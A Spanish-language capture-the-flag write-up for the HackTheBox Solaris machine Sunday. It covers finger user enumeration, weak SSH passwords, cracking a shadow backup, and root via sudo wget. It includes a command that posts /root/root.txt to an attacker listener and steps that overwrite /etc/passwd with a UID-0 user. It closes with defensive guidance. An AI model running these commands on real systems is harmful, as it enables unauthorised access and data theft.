Sunday — HackTheBox (Easy)
SO: Solaris · Dificultad: Easy · Skills: enumeracion de usuarios con finger, SSH con credenciales debiles, lectura de shadow backup, crackeo de hashes, privesc via sudo wget (GTFOBins)
Sunday es una maquina Solaris clasica que introduce servicios legacy olvidados (finger) y demuestra como una cadena simple — enumeracion de usuarios, credenciales debiles y un permiso sudo mal otorgado — basta para comprometer un sistema completamente. Excelente para interiorizar el patron finger → usuario valido → contrasena debil → sudo misconfiguration.
HTB es un laboratorio de ciberseguridad legal y autorizado; toda tecnica documentada aqui se aplica unicamente en entornos con permiso explicito.
Objetivo
- Enumerar usuarios del sistema Solaris mediante el servicio finger (puerto 79).
- Obtener acceso SSH con credenciales debiles o crackeando un hash de
/backup/shadow.backup. - Escalar privilegios aprovechando que
wgetpuede ejecutarse como root viasudo. - Recuperar
user.txtyroot.txt.
Acceso a la maquina (paso previo)
-
Descarga tu perfil VPN desde HTB (
.ovpn) y conectate:sudo openvpn lab_<usuario>.ovpnDeja esa terminal abierta durante toda la sesion.
-
En la web de HTB, ve a Labs → Machines → Sunday y haz clic en Spawn Machine. La pagina te asignara una IP dinamica del tipo
10.10.10.x. -
Verifica conectividad:
ping -c2 <IP> -
Sustituye
<IP>por la IP real que te asigne HTB en todos los comandos siguientes.
Nota: Sunday es una maquina retirada — requiere suscripcion VIP para lanzarla. Si usas el Pwnbox (Kali en navegador), ya viene conectado a la VPN; omite el paso 1.
Reconocimiento
Categoria: escaneo de puertos y deteccion de servicios en un sistema Solaris.
Solaris expone servicios que ya no son habituales en Linux moderno. El primer objetivo es identificar que esta corriendo.
nmap -sV -sC -p- --min-rate 5000 -oN sunday_full.txt <IP>Resultado esperado (puertos relevantes):
| Puerto | Servicio | Detalle |
|---|---|---|
| 79/tcp | finger | Solaris fingerd — enumeracion de usuarios |
| 22/tcp | ssh | SunSSH (Solaris) |
| 111/tcp | rpcbind | RPC tipico de Solaris |
| 515/tcp | printer | lpd / servicios de impresion Solaris |
El puerto 79 (finger) es el hallazgo clave. Es un protocolo de los anos 80 que, en Solaris, permite preguntar al sistema por usuarios activos.
Enumeracion
Categoria: enumeracion de usuarios via protocolo finger (RFC 1288).
Finger manual
# Consulta general — lista usuarios conectados
finger @<IP>
# Consulta de un usuario concreto
finger root@<IP>
finger sammy@<IP>
finger sunny@<IP>Fuerza bruta de usuarios con finger-user-enum
Existe el script finger-user-enum.pl (incluido en Kali/Parrot) que prueba una wordlist contra el servicio finger:
finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t <IP>Tambien puedes usar el script NSE de nmap:
nmap -p 79 --script finger <IP>Resultado esperado: el servicio confirmara que existen los usuarios sammy y sunny (o al menos uno de ellos) en el sistema.
Los detalles exactos de salida pueden variar segun el estado de la maquina en vivo; lo importante es identificar nombres de usuario validos.
Acceso inicial (foothold)
Categoria: autenticacion SSH con credenciales debiles + crackeo de hash desde backup de shadow.
Hay dos vias documentadas; ambas llegan a una shell como usuario no privilegiado.
Via A — Credenciales debiles directas
Una vez identificados los usuarios, se prueba con contrasenas triviales. La combinacion clasica reportada en esta maquina es:
ssh sammy@<IP>
# contrasena: sundayo bien:
ssh sunny@<IP>
# contrasena: sundaySi funciona, ya tienes shell de usuario.
Via B — Crackeo de /backup/shadow.backup
Con acceso de lectura (que puede obtenerse via el propio SSH si el primer usuario tiene permisos limitados, o directamente si el servicio lo expone), se lee el fichero:
cat /backup/shadow.backupEl fichero contiene hashes de contrasenas en formato shadow de Solaris/Unix. Se copian las lineas de los usuarios de interes y se crackean con John the Ripper:
# Guardar la linea del usuario en un fichero
echo 'sammy:<hash_aqui>:...' > shadow_backup.txt
# Crackeo con wordlist
john shadow_backup.txt --wordlist=/usr/share/wordlists/rockyou.txt
john shadow_backup.txt --showJohn identificara la contrasena en texto claro. Con ella se accede por SSH.
Que hace John aqui: prueba cada palabra de
rockyou.txtaplicandole el mismo algoritmo de hash que usa el fichero shadow (crypt, MD5, SHA-512…) y compara con el hash almacenado. Cuando coincide, la contrasena es correcta. No hay magia: es fuerza bruta de diccionario.
Flag de usuario:
cat ~/user.txt
# <flag> (ubicacion: /home/sammy/user.txt o /home/sunny/user.txt)Escalada de privilegios
Categoria: sudo misconfiguration — wget como root (GTFOBins).
Inspeccion de permisos sudo
sudo -lSalida esperada (para el usuario sunny o sammy, segun el caso):
User sunny may run the following commands on sunday:
(root) NOPASSWD: /usr/bin/wget
Patron: el usuario puede ejecutar wget como root sin contrasena. wget tiene capacidad de escribir ficheros arbitrarios en el sistema — esto es una primitiva de escritura arbitraria como root.
Explotacion — Exfiltracion de root.txt (lectura)
wget puede hacer peticiones a un servidor externo enviando el contenido de un fichero como POST. Desde la maquina victima:
# En tu maquina atacante, levanta un listener HTTP (elige un puerto)
nc -lvnp 8080
# En la maquina victima, usa sudo wget para enviar root.txt a tu listener
sudo wget --post-file=/root/root.txt http://<TU_IP_VPN>:8080/El contenido de /root/root.txt llegara como cuerpo de la peticion HTTP a tu netcat.
Explotacion alternativa — Sobrescribir /etc/passwd para obtener shell root
Esta via da shell interactiva como root. La idea es reemplazar /etc/passwd con una version modificada que incluya un usuario con UID 0 y contrasena conocida.
-
En tu maquina, descarga o crea un
/etc/passwdmodificado:# Copia el passwd de la victima (necesitas leerlo primero via otro metodo o wget) # Genera un hash para la nueva contrasena "hacked": openssl passwd -1 hacked # Salida: $1$xyz$... # Anade al final del fichero passwd una linea como: # pwned:$1$xyz$<hash>:0:0:root:/root:/bin/bash -
Sirve el fichero modificado desde tu maquina:
python3 -m http.server 8000 -
Desde la victima, descarga y sobrescribe
/etc/passwdcon sudo wget:sudo wget http://<TU_IP_VPN>:8000/passwd -O /etc/passwd -
Ahora puedes hacer
su pwnedcon la contrasenahackedy obtendras UID 0.
Por que funciona: wget con
-Oescribe el fichero descargado en la ruta destino. Al ejecutarlo como root (via sudo), tiene permiso para sobrescribir cualquier fichero del sistema, incluidos los criticos de autenticacion.
Flags
| Flag | Ubicacion | Como obtenerla |
|---|---|---|
user.txt | /home/sammy/user.txt o /home/sunny/user.txt | Con shell SSH del usuario |
root.txt | /root/root.txt | Via sudo wget --post-file o tras escalar a root |
user.txt → <flag>
root.txt → <flag>
Patron y teoria
Esta seccion es la mas importante del writeup: extrae el patron reutilizable y las implicaciones para disenar o defender sistemas.
Cadena de ataque completa
finger (enumeracion de usuarios)
↓
usuario valido identificado (sammy / sunny)
↓
credencial debil / hash en backup expuesto
↓
SSH shell como usuario no privilegiado
↓
sudo -l → wget sin contrasena como root
↓
escritura arbitraria de ficheros → root
Patron 1 — Servicios legacy expuestos (finger)
Categoria: superficie de ataque por servicios obsoletos.
Finger fue util en los 70-80 para redes universitarias cerradas. En 2024, exponer finger en internet equivale a publicar un directorio de usuarios del sistema. El protocolo no tiene autenticacion ni cifrado.
Defensa:
- Deshabilitar
fingerdsi no es necesario (en Solaris:svcadm disable fingero eliminar la entrada deinetd.conf). - Regla general: audita con
nmap -sVtu propio servidor. Si ves servicios que no reconoces o no necesitas, deshabilitarlos reduce la superficie. - En diseno: nunca exponer servicios de administracion/informacion de usuarios a redes no confiables.
Patron 2 — Credenciales debiles y backups de shadow expuestos
Categoria: gestion de credenciales y exposicion de material criptografico.
Dos fallos distintos que se refuerzan:
- La contrasena
sundaypara el usuariosammy/sunnyes trivial y aparece en cualquier diccionario. - Guardar una copia de
/etc/shadowen/backup/shadow.backupcon permisos de lectura para usuarios normales es un error de ACL critico: los hashes son material sensible equivalente a las contrasenas en si mismas.
Defensa:
- Politica de contrasenas: minimo 12 caracteres, complejidad, rotacion. En Solaris:
pam_pwqualityopasswdcon politicas depolicy.conf. - Los backups de ficheros sensibles deben tener los mismos permisos (o mas restrictivos) que el original.
/etc/shadowes640 root:shadow; su backup tambien. - Nunca almacenar backups de shadow/passwd en rutas accesibles por usuarios no root.
Patron 3 — sudo con binarios que tienen primitivas de fichero (GTFOBins)
Categoria: escalada de privilegios por sudo misconfiguration — clase GTFOBins.
Este es el patron mas importante para un desarrollador que diseña sistemas. El principio de minimo privilegio en sudo se viola cuando se permite ejecutar un binario que, aunque “no es una shell”, tiene capacidad de leer o escribir ficheros arbitrarios.
wget puede:
- Descargar y escribir en cualquier ruta (
-O /ruta/sensible) - Enviar el contenido de cualquier fichero a un servidor externo (
--post-file)
Otros binarios de GTFOBins con primitivas similares: curl, cp, tee, dd, python, perl, vim, less, awk, find…
Defensa para desarrolladores y sysadmins:
- Principio de minimo privilegio en sudo: si un usuario necesita ejecutar un script concreto como root, da permiso solo a ese script (con ruta absoluta e inmutable), no al interprete.
- Audita con
sudo -len todos tus sistemas. Cualquier binario listado debe verificarse en GTFOBins. - Usa
sudoeditsi lo que necesitas es editar un fichero como root, no dar acceso a un editor generico. - Alternativas a sudo para tareas puntuales: capabilities de Linux (
setcap), systemd service units conUser=rootyExecStartrestringido, o politicas de SELinux/AppArmor. - En diseno de pipelines CI/CD: si un job necesita descargar artefactos, no le des sudo sobre wget; usa un usuario de servicio con permisos minimos sobre las rutas destino.
Resumen del salto Starting Point → maquinas retiradas
Las maquinas de Starting Point aislan una vulnerabilidad por maquina. Sunday encadena tres: enumeracion de informacion (finger) + debilidad de autenticacion (contrasena/hash) + misconfiguracion de privilegios (sudo wget). El analista debe conectar los hallazgos en orden logico, no tratar cada servicio como un puzzle independiente.